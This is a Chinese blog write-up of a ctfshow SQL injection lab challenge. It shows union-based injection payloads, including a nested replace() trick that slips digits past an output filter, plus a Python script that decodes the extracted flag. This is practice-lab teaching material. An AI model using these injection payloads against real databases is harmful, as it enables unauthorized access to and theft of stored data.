ctfshow web入门174
本文最后更新于40 天前,其中的信息可能已经过时,如有错误请发送邮件到256704203@qq.com

一道sql注入题

直接查1发现无回显,看到返回逻辑过滤了数字,于是

-1’ union select ‘a’,database()–+

只要数据名中没有数字,就能返回结果

库名爆出来了,但根据前几题的经验,表名一般是ctfshow_user[数字],看了wp学到一个replace函数,replace(原字符串,要替换的内容,替换后的内容)例如replace(‘abc’,’a’,’1′)结果就是1bc。于是做一个数字和字母的映射。

-1′ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(table_name,0,’_a_’),1,’_b_’),2,’_c_’),3,’_d_’),4,’_e_’),5,’_f_’),6,’_g_’),7,’_h_’),8,’_i_’),9,’_k_’) from information_schema.tables where table_schema = database()–+ (下划线用来区分原来字符串中的字母和替换进去的字母)

然后同样的方法爆列名

然后爆password字段

最后写个脚本推回原来的flag

import re
content = “ctfshow{a__f__j__d_fed_bg__i_ef-_e_e_a__j-a_a__d_d-b_c_b_i__e__e__i__h__e__a__e__a_}”
res2 = re.findall(r’_[a-z]_‘,content)
res = re.sub(r’_([a-z])_‘,lambda m: str(ord(m.group(1).lower())-ord(‘a’)),content)
print(res2)
print(res)

得到

知识点:sql中的replace(原字符串,要替换的内容,替换后的内容)函数

文末附加内容

评论

  1. 杨桃
    Macintosh Safari
    2 月前
    2026-5-02 22:13:14

    看不懂

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇